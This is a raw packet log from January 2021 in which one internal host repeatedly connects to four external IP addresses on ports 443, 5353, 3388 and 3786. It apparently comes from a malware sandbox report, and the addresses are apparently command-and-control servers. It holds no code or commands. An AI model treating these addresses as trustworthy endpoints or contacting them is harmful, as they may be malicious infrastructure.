Jan 20, 2021 16:14:42.939115047 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:42.939192057 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:42.939769983 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:42.985800028 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:42.985898018 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:42.986479044 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.067445040 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.089103937 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.089139938 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.089176893 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.089202881 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.114151955 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.135684967 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.135745049 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.135925055 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.139708996 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.141046047 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.275600910 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.275671005 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.280803919 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.280909061 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.408628941 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.408695936 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.448822975 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.456515074 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.536698103 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.537373066 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.591166973 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.591223955 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.793066978 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.793082952 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:43.793142080 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.793171883 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.796196938 CET	49192	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:43.923475981 CET	443	49192	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:44.044269085 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:44.097379923 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:44.097549915 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:44.225145102 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:44.225228071 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:44.264997005 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:44.328361034 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:44.328440905 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:44.329030991 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:44.352654934 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:44.352713108 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:44.612032890 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:44.612076998 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:44.612126112 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:44.612241030 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:44.612952948 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:44.614659071 CET	49186	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:44.623231888 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:44.623281956 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:44.623341084 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:44.625864983 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:44.628498077 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:44.741921902 CET	443	49186	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:44.915683031 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:44.915766001 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:44.920856953 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:44.920927048 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:45.204983950 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:45.205113888 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:45.244682074 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:45.470153093 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:45.470249891 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:45.491331100 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:45.491353989 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:45.598747015 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:45.598876953 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:45.613837004 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:45.638180017 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:45.729043961 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:45.729067087 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:45.911458969 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:45.911560059 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:45.912348986 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:45.983449936 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:45.983478069 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:45.983553886 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:45.985924959 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:45.985997915 CET	49187	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:46.081532001 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:46.081559896 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:46.081629992 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.083740950 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.083777905 CET	49193	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.113814116 CET	443	49187	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:46.210731030 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:46.221545935 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:46.221599102 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:46.221642971 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.222568035 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.226655006 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.369280100 CET	5353	49193	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:46.528278112 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:46.528362036 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.854062080 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.854173899 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:46.944495916 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.113658905 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.113785028 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.114459991 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.149158001 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:47.149243116 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:47.283399105 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.290265083 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.290292025 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.290350914 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.294172049 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.297127962 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.443627119 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:47.474391937 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.474873066 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.474971056 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.482481003 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.482713938 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.651423931 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.651504993 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.651560068 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:47.651576996 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:47.820708990 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:47.942939997 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:47.943056107 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:47.943855047 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.032373905 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:48.032444954 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:48.032475948 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.032535076 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.034607887 CET	49194	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.147032022 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:48.147110939 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:48.147157907 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:48.149466991 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:48.149496078 CET	49195	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:48.234468937 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:48.244805098 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:48.244837046 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:48.244929075 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.248136997 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.312182903 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.318620920 CET	3388	49195	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:48.323667049 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.327373981 CET	5353	49194	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:48.495248079 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:48.495333910 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.495886087 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.617336988 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:48.617502928 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.623128891 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.623250961 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:48.678482056 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:48.695031881 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:48.695085049 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:48.695125103 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.695645094 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.700474024 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.890449047 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:48.890573978 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.895694971 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.895791054 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:48.913507938 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:48.913621902 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:49.078594923 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:49.078695059 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:49.117691040 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:49.170619965 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.261614084 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:49.340598106 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:49.340785027 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.341506004 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.510919094 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:49.516618967 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:49.517699957 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:49.517719984 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:49.517750025 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.517762899 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.524342060 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.621196985 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:49.621223927 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:49.621371984 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:49.623411894 CET	49197	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:49.693836927 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:49.694386959 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:49.694504023 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.700685024 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.700836897 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.783765078 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:49.783807039 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:49.783854008 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:49.783886909 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:49.785990000 CET	49196	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:49.807260036 CET	3786	49197	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:49.808581114 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:49.830878973 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:49.870285034 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:49.870326042 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:49.870511055 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:49.958611965 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:49.958746910 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:49.959332943 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.040215015 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:50.077347040 CET	5353	49196	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:50.087099075 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.108299017 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.108364105 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.108450890 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.110495090 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.113440037 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.247905970 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.248045921 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.252897024 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.252979994 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.364310026 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:50.364341021 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:50.364558935 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:50.366627932 CET	49198	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:50.380419970 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.380548000 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.419914961 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.508680105 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.508706093 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.536060095 CET	3388	49198	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:50.765995026 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.766021013 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:50.766138077 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.766184092 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.768192053 CET	49199	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:50.896320105 CET	443	49199	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:51.000981092 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.049865961 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:51.049945116 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:51.177644968 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:51.177814007 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:51.218034029 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:51.291230917 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:51.291367054 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.291979074 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.306381941 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:51.306420088 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:51.324402094 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:51.498197079 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:51.498302937 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:51.562649012 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:51.562680960 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:51.562716007 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:51.562798023 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:51.565830946 CET	49191	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:51.581557989 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:51.591156960 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:51.591198921 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:51.591242075 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.591275930 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.596826077 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.693248034 CET	443	49191	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:51.732415915 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:51.889741898 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:51.889821053 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.894936085 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.895052910 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:51.901871920 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:51.908606052 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:51.908632994 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:51.908792973 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:51.977936983 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.070615053 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:52.163098097 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:52.163264036 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.163925886 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.184518099 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:52.184642076 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:52.224437952 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:52.240166903 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:52.240834951 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:52.240909100 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:52.247160912 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:52.247253895 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:52.346776962 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:52.370779991 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:52.370831013 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:52.370929003 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.371069908 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.376005888 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.417045116 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:52.417088032 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:52.417274952 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:52.475267887 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:52.561117887 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:52.571791887 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:52.571937084 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.576786041 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.576875925 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.587012053 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:52.759763956 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:52.759959936 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:52.799557924 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:52.853492975 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:52.853638887 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:52.905352116 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:52.905375004 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:52.905493975 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:52.907641888 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:52.907696962 CET	49201	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:14:52.942859888 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:52.983505011 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:53.055490017 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:53.055522919 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:53.055573940 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:53.055619955 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:53.057749033 CET	49200	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:53.077045918 CET	3388	49201	69.164.207.140	192.168.2.22
Jan 20, 2021 16:14:53.274748087 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:53.285784006 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:53.285816908 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:53.285908937 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:53.288585901 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:53.291126966 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:53.318165064 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:53.318188906 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:53.318315029 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:53.320420027 CET	49202	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:14:53.347029924 CET	5353	49200	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:53.503381968 CET	3786	49202	198.57.200.100	192.168.2.22
Jan 20, 2021 16:14:53.539457083 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:53.589900017 CET	5353	49203	211.110.44.63	192.168.2.22
Jan 20, 2021 16:14:53.590002060 CET	49203	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:14:53.668896914 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:53.669002056 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:53.690547943 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:53.818562031 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:53.840101957 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:53.840162039 CET	443	49204	194.225.58.214	192.168.2.22
Jan 20, 2021 16:14:53.840220928 CET	49204	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:14:53.840534925 CET	49204	443	192.168.2.22	194.225.58.214
